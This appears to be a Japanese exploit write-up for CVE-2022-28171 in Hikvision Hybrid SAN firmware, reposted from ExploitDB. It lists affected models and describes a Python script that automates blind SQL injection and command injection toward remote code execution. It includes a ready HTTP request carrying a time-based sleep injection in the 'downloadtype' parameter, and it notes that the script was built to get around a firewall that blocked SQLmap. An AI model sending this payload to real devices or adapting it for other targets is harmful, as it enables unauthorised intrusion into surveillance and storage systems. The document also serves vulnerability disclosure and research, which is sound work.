
Hikvision Hybrid SANデバイスを対象としたCVE-2022-28171のPythonエクスプロイト。ブラインドSQLインジェクションとコマンドインジェクションを自動化し、リモートコード実行を達成します。
これは元々 ExploitDB で公開したもので、https://www.exploit-db.com/exploits/51607 で見つけることができます。
# Date: 16 July 2023
# Exploit Author: Thurein Soe
# CVE : CVE-2022-28171
# Reference Link: https://cve.report/CVE-2022-28171
# Vulnerable Versions:
Ds-a71024 Firmware
Ds-a71024 Firmware
Ds-a71048r-cvs Firmware
Ds-a71048 Firmware
Ds-a71072r Firmware
Ds-a71072r Firmware
Ds-a72024 Firmware
Ds-a72024 Firmware
Ds-a72048r-cvs Firmware
Ds-a72072r Firmware
Ds-a80316s Firmware
Ds-a80624s Firmware
Ds-a81016s Firmware
Ds-a82024d Firmware
Ds-a71048r-cvs
Ds-a71024
Ds-a71048
Ds-a71072r
Ds-a80624s
Ds-a82024d
Ds-a80316s
Ds-a81016s
Hikvision は、民生用および軍事用のビデオ監視およびモノのインターネット(IoT)機器を製造・供給する、世界をリードする監視メーカーです。一部の Hikvision Hybrid SAN 製品には、コマンドインジェクション、ブラインド SQL インジェクション、HTTP リクエストスモグリング、反射型クロスサイトスクリプティングなど、複数のリモートコード実行の脆弱性が存在していました。これによりリモートコード実行が可能となり、任意のオペレーティングシステムコマンドなどの実行が可能でした。
手動テストにより、"downloadtype" パラメータがブラインド SQL インジェクションおよびコマンドインジェクションに対して脆弱であることが確認されました。アプリケーションはファイアウォールの背後にあり、SQLmap からのすべてのリクエストをブロックしていたため、SQL のバージョンを自動化して列挙する Python スクリプトを作成しました。
Request Body:
GET /web/log/dynamic_log.php?target=makeMaintainLog&downloadtype='(select*from(select(sleep(10)))a)' HTTP/1.1
Host: X.X.X.X.12:2004
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Connection: close